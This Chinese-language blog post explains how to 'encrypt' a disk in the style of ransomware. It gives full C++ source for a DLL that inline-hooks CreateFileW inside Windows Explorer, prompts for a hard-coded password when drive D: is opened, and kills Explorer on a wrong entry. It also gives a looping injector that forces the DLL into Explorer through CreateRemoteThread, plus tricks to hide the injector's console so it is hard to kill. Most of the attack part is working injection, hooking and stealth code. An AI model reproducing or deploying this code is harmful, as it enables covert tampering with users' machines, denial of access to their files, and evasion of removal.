Windows核心程式設計_磁碟加密

17歲boy想當攻城獅發表於2020-10-05

最近看電影時看到一段:黑客入侵計算機的場景,當黑客開啟某個特定的磁碟/資料夾時 會彈出一個黑色的CUI程式,要求使用者輸入密碼,覺得這個功能很col,非常類似之前很流行的木馬,一些木馬加密使用者的資料夾,索要比特幣,或者其它錢財,才能解鎖。於是本來就是Windows開發出身的我,心血來潮的去實現了這個功能。

1.必備技術

建議閱讀本篇文章之前,可以把我之前寫的幾篇文章閱讀以下,如果你對HOOK技術有很深的底功那麼可以略過。

2.技術要點

1.Windows下應用層所有的GUI磁碟操作都是由一個名為:explorer(Windows 資源管理器)的程式管理的

2.explorer在對磁碟進行訪問與操作的時候,使用的是“CreateFile” API來對磁碟進行IO操作

3.CreateFile

函式名:CreateFile

存在於:kernel32.dll

函式介紹:Windows下應用層對檔案/IO裝置進行操作的API函式,使用時會建立一個唯一控制程式碼,與IO裝置關聯,相當於鑰匙

函式原型:

HANDLE CreateFile(LPCTSTR lpFileName, //普通檔名或者裝置檔名
DWORD dwDesiredAccess, //訪問模式(寫/讀)
DWORD dwShareMode, //共享模式
LPSECURITY_ATTRIBUTES lpSecurityAttributes, //指向安全屬性的指標
DWORD dwCreationDisposition, //如何建立
DWORD dwFlagsAndAttributes, //檔案屬性
HANDLE hTemplateFile //用於複製檔案控制程式碼
);

引數介紹:

lpFileName String要開啟的檔案的名或裝置名。這個字串的最大長度在ANSI版本中為MAX_PATH,在unicode版本中為32767。

dwDesiredAccess指定型別的訪問物件。如果為 GENERIC_READ 表示允許對裝置進行讀訪問;如果為 GENERIC_WRITE 表示允許對裝置進行寫訪問(可組合使用);如果為零,表示只允許獲取與一個裝置有關的資訊 。

另外,還可以指定下面的控制標誌:

標準控制許可權(16-23位掩碼):

DELETE 刪除物件的許可權。

READ_CONTROL 從物件的安全描述符中讀取資訊的許可權,但不包括SACL(系統訪問控制列表)中的資訊。

WRITE_DAC 修改物件安全描述符中的DACL(隨機訪問控制列表)的許可權

WRITE_OWNER 修改物件安全描述符中的屬主的許可權

SYNCHRONIZE 同步化使用物件的許可權,即可以建立一個執行緒等待訊號量釋放(但有些物件不支援這個許可權)。

STANDARD_RIGHTS_REQUIRED 等價於前面四種許可權的總合(通常這四種是必須具有的許可權)。

STANDARD_RIGHTS_READ 一般等價於READ_CONTROL

STANDARD_RIGHTS_WRITE 一般等價於READ_CONTROL

STANDARD_RIGHTS_EXECUTE 一般等價於READ_CONTROL

STANDARD_RIGHTS_ALL 等價於前面五種許可權的總合。

特殊控制許可權(0-15位掩碼):

SPECIFIC_RIGHTS_ALL

ACCESS_SYSTEM_SECURITY

MAXIMUM_ALLOWED

GENERIC_READ

GENERIC_WRITE

GENERIC_EXECUTE

GENERIC_ALL

注:實質上是通過ACCESS_MASK結構體的一個雙字值來設定標準許可權、特殊許可權和一般許可權的。

dwShareModeLong, 如果是零表示不共享; 如果是FILE_SHARE_DELETE表示隨後開啟操作物件會成功,但只有刪除訪問請求的許可權;如果是FILE_SHARE_READ隨後開啟操作物件會成功只有請求讀訪問的許可權;如果是FILE_SHARE_WRITE 隨後開啟操作物件會成功,但只有請求寫訪問的許可權。

lpSecurityAttributesSECURITY_ATTRIBUTES, 指向一個SECURITY_ATTRIBUTES結構的指標,定義了檔案的安全特性(如果作業系統支援的話)

dwCreationDispositionLong,下述常數之一:

CREATE_NEW 建立檔案;如檔案存在則會出錯

CREATE_ALWAYS 建立檔案,會改寫前一個檔案

OPEN_EXISTING 檔案必須已經存在。由裝置提出要求

OPEN_ALWAYS 如檔案不存在則建立它

TRUNCATE_EXISTING 將現有檔案縮短為零長度

dwFlagsAndAttributesLong, 一個或多個下述常數

FILE_ATTRIBUTE_ARCHIVE 標記歸檔屬性

FILE_ATTRIBUTE_COMPRESSED 將檔案標記為已壓縮,或者標記為檔案在目錄中的預設壓縮方式

FILE_ATTRIBUTE_NORMAL 預設屬性

FILE_ATTRIBUTE_HIDDEN 隱藏檔案或目錄

FILE_ATTRIBUTE_READONLY 檔案為只讀

FILE_ATTRIBUTE_SYSTEM 檔案為系統檔案

FILE_FLAG_WRITE_THROUGH 作業系統不得推遲對檔案的寫操作

FILE_FLAG_OVERLAPPED 允許對檔案進行重疊操作

FILE_FLAG_NO_BUFFERING 禁止對檔案進行緩衝處理。檔案只能寫入磁碟卷的扇區塊

FILE_FLAG_RANDOM_ACCESS 針對隨機訪問對檔案緩衝進行優化

FILE_FLAG_SEQUENTIAL_SCAN 針對連續訪問對檔案緩衝進行優化

FILE_FLAG_DELETE_ON_CLOSE 關閉了上一次開啟的控制程式碼後,將檔案刪除。特別適合臨時檔案

也可在Windows NT下組合使用下述常數標記:

SECURITY_ANONYMOUS, SECURITY_IDENTIFICATION, SECURITY_IMPERSONATION, SECURITY_DELEGATION, SECURITY_CONTEXT_TRACKING, SECURITY_EFFECTIVE_ONLY

hTemplateFile,hTemplateFile為一個檔案或裝置控制程式碼,表示按這個引數給出的控制程式碼為模板建立檔案(就是將該控制程式碼檔案拷貝到lpFileName指定的路徑,然後再開啟)。它將指定該檔案的屬性擴充套件到新建立的檔案上面,這個引數可用於將某個新檔案的屬性設定成與現有檔案一樣,並且這樣會忽略dwAttrsAndFlags。通常這個引數設定為NULL,為空表示不使用模板,一般為空。

返回值:成功返回一個HANDLE型別的控制程式碼,失敗返回0,並設定對應的出錯碼

4.準備工作

通過上面的知識點,我們可以得知:

  • Windows下應用層的所有GUI對磁碟操作都是由explorer(資源管理器)來完成的。
  • explorer所使用的API為CreateFile
  • CreateFile存在於kernel32.dll中

那麼我們只需要通過APIHOOK,入侵explorer,然後HOOK CreateFile這個API,然後在通過CreateFIle的第一個引數來判斷資料夾是否是我們所需要讀寫的資料夾,如果是則調出加密程式,否則則讓CreateFile正常工作。

5. 編寫HOOK API的DLL檔案

1.編寫Hook類

這段程式碼可以參考我之前寫的關於API Hook的技術點,這裡就不重複講解了,不然文章就重了。

API HOOK

inlineHook


class MyHookClass {
public:
    MyHookClass()
    {
        m_pfnOld = nullptr;
        ZeroMemory(m_bNewBytes, 5);
        ZeroMemory(m_bOldBytes, 5);
    }
    ~MyHookClass()
    {
        UnHook();
    }

    BOOL Hook(char* szModuleName/*模組名*/, char* szFuncName/*函式名*/, PROC pHookFunc/*新的函式地址*/)
    {



        m_pfnOld = GetProcAddress(GetModuleHandleA(szModuleName), szFuncName);
        if (!m_pfnOld)
        {

            return FALSE;
        }


        SIZE_T dwNum = 0;
        ReadProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);

        m_bNewBytes[0] = '\xe9';

        *(SIZE_T*)(m_bNewBytes + 1) = (SIZE_T)pHookFunc - (SIZE_T)m_pfnOld - 5;

        WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);


        return TRUE;
    }
    //復原
    void UnHook()
    {
        if (m_pfnOld != nullptr)
        {
            SIZE_T dwNum = 0;
            WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);
        }
    }
    //重置
    bool ReHook()
    {
        if (m_pfnOld != nullptr)
        {
            SIZE_T dwNum = 0;

            WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);
            return FALSE;
        }
        return TRUE;
    }
private:
    PROC m_pfnOld;//原API函式地址
    BYTE m_bOldBytes[5];//原api前5個位元組的跳轉地址
    BYTE m_bNewBytes[5];//新的跳轉地址
};

2.編寫一個自己的CreateFile

因為我們要Hook API,所以需要替換一個自己的CreateFile

先宣告HOOK類,用於HOOK

MyHookClass g_MsgHook;

自己的CreateFile

這裡我用到了AllocConsole,因為不是CUI程式,所以我們需要額外擴充套件一個終端出來,要求使用者輸入密碼

程式碼註釋非常清楚,有不懂的地方可以在下方留言

HANDLE WINAPI MyCreateFile(
    _In_ LPCTSTR lpFileName,
    _In_ DWORD dwDesiredAccess,
    _In_ DWORD dwShareMode,
    _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
    _In_ DWORD dwCreationDisposition,
    _In_ DWORD dwFlagsAndAttributes,
    _In_opt_ HANDLE hTemplateFile
) {
//宣告返回控制程式碼
    HANDLE hand;
    //鎖定磁碟,注意這裡開啟碟符的路徑是“\\.\D:”
    LPCTSTR lpStr1 = _T("\\\\.\\D:");
    //因為是LPCTSTR型別,所以我們用cstring型別格式化在比對
    CString str1(lpStr1);
    CString str2(lpFileName);
    //呼叫StrCmp來比對
    if (StrCmp(str1, str2) == 0) {
        //申請控制檯
        AllocConsole();
        //讀寫許可權
        freopen("CONOUT$", "w+t", stdout);
        freopen("CONIN", "r+t", stdin);
        wprintf(L"Please input a password:");
        //密碼快取
        TCHAR Buffer[100]; //開快取
        memset(Buffer, 0, 100);
        DWORD dwCount = 0;//已輸入數
        //這裡我們不能使用scanf,必須使用ReadConsole,因為申請的控制檯是一個獨立的console,這個console的INPUT不是標準的stdin,所以scanf不能訪問讀緩衝區的
        //獲取input的控制程式碼
        HANDLE hdlRead = GetStdHandle(STD_INPUT_HANDLE);
        //讀取asci碼,否則雙位元組無法匹配
        ReadConsoleA(hdlRead, Buffer, 100, &dwCount, NULL);
        //判斷是否相等
        if (_tcscmp(Buffer, L"helloword") == 0) {
            //相等的情況下恢復API鉤子
            g_MsgHook.UnHook();
            //呼叫原函式
            hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
            //在此Hook成我們自己的,如果不這樣下次就進不來了
            g_MsgHook.ReHook();
            //返回控制程式碼
            return hand;
        }
        else {//不相等直接列印並死掉
            wprintf(L"Password error");
            //這裡我們必須呼叫exit,因為如果CreateFileW失敗資源管理器會嘗試別的函式,如果我們hook所有的函式,都不讓他成功的話,資源管理器會自動重啟。
            //所以這裡我們索性直接退出,因為已經嵌入到資源管理器裡了,所以使用exit可以直接殺死父程式
            exit(0);
        }
    }
    else {
        //如果不是目標盤則呼叫原函式
        g_MsgHook.UnHook();
        hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
        g_MsgHook.ReHook();
        return hand;
    }
    return hand;
}

最後的dll main函式裡就是在最開始注入HOOK

在DLLPROCESS_ATTACH,當動態庫第一次被載入到程式裡時的訊息裡呼叫HOOK函式,這裡我HOOK的是CreateFileW,因為我的系統是Windows10,Windows10在開發程式時使用的是unicode(32)編碼,所以HOOK在後面有W的

win7以下和XP是ANSI編碼,使用的是CreateFileA

這是個小細節請注意

同時我們的DLL要編譯成64位,因為資源管理器是64位程式。


BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{

    char szModuleName[MAXBYTE] = { 0 };//"user32.dll";
    char szFuncName[MAXBYTE] = { 0 };// "MessageBoxW";
    strcpy_s(szModuleName, MAXBYTE, "Kernel32.dll");
    strcpy_s(szFuncName, MAXBYTE, "CreateFileW");
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        g_MsgHook.Hook(szModuleName, szFuncName, (PROC)MyCreateFile);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

完整程式碼:

// dllmain.cpp : 定義 DLL 應用程式的入口點。
#define _CRT_SECURE_NO_WARNINGS
#include "pch.h"
#include <stdio.h>
#include <atlstr.h>
#include<iostream>
using namespace std;
//api hook class

class MyHookClass {
public:
    MyHookClass()
    {
        m_pfnOld = nullptr;
        ZeroMemory(m_bNewBytes, 5);
        ZeroMemory(m_bOldBytes, 5);
    }
    ~MyHookClass()
    {
        UnHook();
    }

    BOOL Hook(char* szModuleName/*模組名*/, char* szFuncName/*函式名*/, PROC pHookFunc/*新的函式地址*/)
    {



        m_pfnOld = GetProcAddress(GetModuleHandleA(szModuleName), szFuncName);
        if (!m_pfnOld)
        {

            return FALSE;
        }


        SIZE_T dwNum = 0;
        ReadProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);

        m_bNewBytes[0] = '\xe9';

        *(SIZE_T*)(m_bNewBytes + 1) = (SIZE_T)pHookFunc - (SIZE_T)m_pfnOld - 5;

        WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);


        return TRUE;
    }
    //復原
    void UnHook()
    {
        if (m_pfnOld != nullptr)
        {
            SIZE_T dwNum = 0;
            WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bOldBytes, 5, &dwNum);
        }
    }
    //重置
    bool ReHook()
    {
        if (m_pfnOld != nullptr)
        {
            SIZE_T dwNum = 0;

            WriteProcessMemory(GetCurrentProcess(), m_pfnOld, m_bNewBytes, 5, &dwNum);
            return FALSE;
        }
        return TRUE;
    }
private:
    PROC m_pfnOld;//原API函式地址
    BYTE m_bOldBytes[5];//原api前5個位元組的跳轉地址
    BYTE m_bNewBytes[5];//新的跳轉地址
};

MyHookClass g_MsgHook;
HANDLE WINAPI MyCreateFile(
    _In_ LPCTSTR lpFileName,
    _In_ DWORD dwDesiredAccess,
    _In_ DWORD dwShareMode,
    _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
    _In_ DWORD dwCreationDisposition,
    _In_ DWORD dwFlagsAndAttributes,
    _In_opt_ HANDLE hTemplateFile
) {
    //宣告返回控制程式碼
    HANDLE hand;
    //鎖定磁碟,注意這裡開啟碟符的路徑是“\\.\D:”
    LPCTSTR lpStr1 = _T("\\\\.\\D:");
    //因為是LPCTSTR型別,所以我們用cstring型別格式化在比對
    CString str1(lpStr1);
    CString str2(lpFileName);
    //呼叫StrCmp來比對
    if (StrCmp(str1, str2) == 0) {
        //申請控制檯
        AllocConsole();
        //讀寫許可權
        freopen("CONOUT$", "w+t", stdout);
        freopen("CONIN", "r+t", stdin);
        wprintf(L"Please input a password:");
        //密碼快取
        TCHAR Buffer[100]; //開快取
        memset(Buffer, 0, 100);
        DWORD dwCount = 0;//已輸入數
        //這裡我們不能使用scanf,必須使用ReadConsole,因為申請的控制檯是一個獨立的console,這個console的INPUT不是標準的stdin,所以scanf不能訪問讀緩衝區的
        //獲取input的控制程式碼
        HANDLE hdlRead = GetStdHandle(STD_INPUT_HANDLE);
        //讀取asci碼,否則雙位元組無法匹配
        ReadConsoleA(hdlRead, Buffer, 100, &dwCount, NULL);
        //判斷是否相等
        if (_tcscmp(Buffer, L"helloword") == 0) {
            //相等的情況下恢復API鉤子
            g_MsgHook.UnHook();
            //呼叫原函式
            hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
            //在此Hook成我們自己的,如果不這樣下次就進不來了
            g_MsgHook.ReHook();
            //返回控制程式碼
            return hand;
        }
        else {//不相等直接列印並死掉
            wprintf(L"Password error");
            //這裡我們必須呼叫exit,因為如果CreateFileW失敗資源管理器會嘗試別的函式,如果我們hook所有的函式,都不讓他成功的話,資源管理器會自動重啟。
            //所以這裡我們索性直接退出,因為已經嵌入到資源管理器裡了,所以使用exit可以直接殺死父程式
            exit(0);
        }
    }
    else {
        //如果不是目標盤則呼叫原函式
        g_MsgHook.UnHook();
        hand = CreateFile(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile);
        g_MsgHook.ReHook();
        return hand;
    }
    return hand;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{

    char szModuleName[MAXBYTE] = { 0 };//"user32.dll";
    char szFuncName[MAXBYTE] = { 0 };// "MessageBoxW";
    strcpy_s(szModuleName, MAXBYTE, "Kernel32.dll");
    strcpy_s(szFuncName, MAXBYTE, "CreateFileW");
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        g_MsgHook.Hook(szModuleName, szFuncName, (PROC)MyCreateFile);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

6.注入 Explorer

寫完dll後就要寫注入程式

因為ALS地址隨機化與記憶體保護的原因我們在Hook之前需要注入到Explorer的程式空間裡去。

以下注入過程與實踐方法可以參考我之前寫的這篇:https://blog.csdn.net/bjbz_cxy/article/details/80774803

這裡我們要迴圈注入,因為上面說過,exit會結束掉程式,而程式死掉以後,我們的動態庫會隨著解除安裝,所以我們要寫一個守護程式一直默默的寫入

這個庫的思路就是先判斷資源管理器是否存在,存在則寫入,然後設定條件變數,不在寫入,當資源管理器發生重啟後(與dll裡的exit程式碼結合)在重新寫入

#include <iostream>
#include<windows.h>
#define DESK "C:\\Users\\stephen zhou\\source\\repos\\Dll1\\x64\\Debug\\Dll1.dll"
int main()
{
	const DWORD THREADSIZE = 1024 * 4;
	HANDLE pRemoteThread, hRemoteProcess;
	PTHREAD_START_ROUTINE pfnAddr;
	DWORD pId;
	void* pFileRemote;
	bool sign = false;
	while (1) {
		HWND hWinPro = ::FindWindow(L"ProgMan", NULL);
		if (!hWinPro) {
			sign = false;
		}
		if (sign == false) {
			if (hWinPro){
				::GetWindowThreadProcessId(hWinPro, &pId); //獲得explorer控制程式碼
				hRemoteProcess = ::OpenProcess(PROCESS_ALL_ACCESS, false, pId);
				pFileRemote = ::VirtualAllocEx(hRemoteProcess, 0, THREADSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
				if (!::WriteProcessMemory(hRemoteProcess, pFileRemote, DESK, THREADSIZE, NULL))
					return 0;
				pfnAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
				pRemoteThread = ::CreateRemoteThread(hRemoteProcess, NULL, 0, pfnAddr, pFileRemote, 0, NULL);
				sign = true;
			}
		}
	}
	return 0;
}

效果:

句寧叫

但是如果守護程式一直顯示視窗很容易被殺掉,如果我們想隱藏控制檯只需要加上這條指令:

#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

/subsystem:\"windows\"
連結成windows程式(winmain函式那種)baidu
/entry:\"mainCRTStartup\"
入口函式是mainCRTStartup

意思是連結成Windows視窗程式,啟動時Windows就不會去幫我們呼叫cmd視窗去執行我們的程式了,但是我們的程式沒有GUI,所以沒有介面。

注意這種方法如果在vsIde環境下執行是無效的,我們需要編譯好後到目錄下開啟。

還有一種方法是API

 HWND hwnd;
SetConsoleTitle("hello")
    hwnd=FindWindow("ConsoleWindowClass","hello"); //處理頂級視窗的類名和視窗名稱匹配指定的字串,不搜尋子視窗。
    if(hwnd)
    {
        ShowWindow(hwnd,SW_HIDE);               //設定指定視窗的顯示狀態
    }

 

相關文章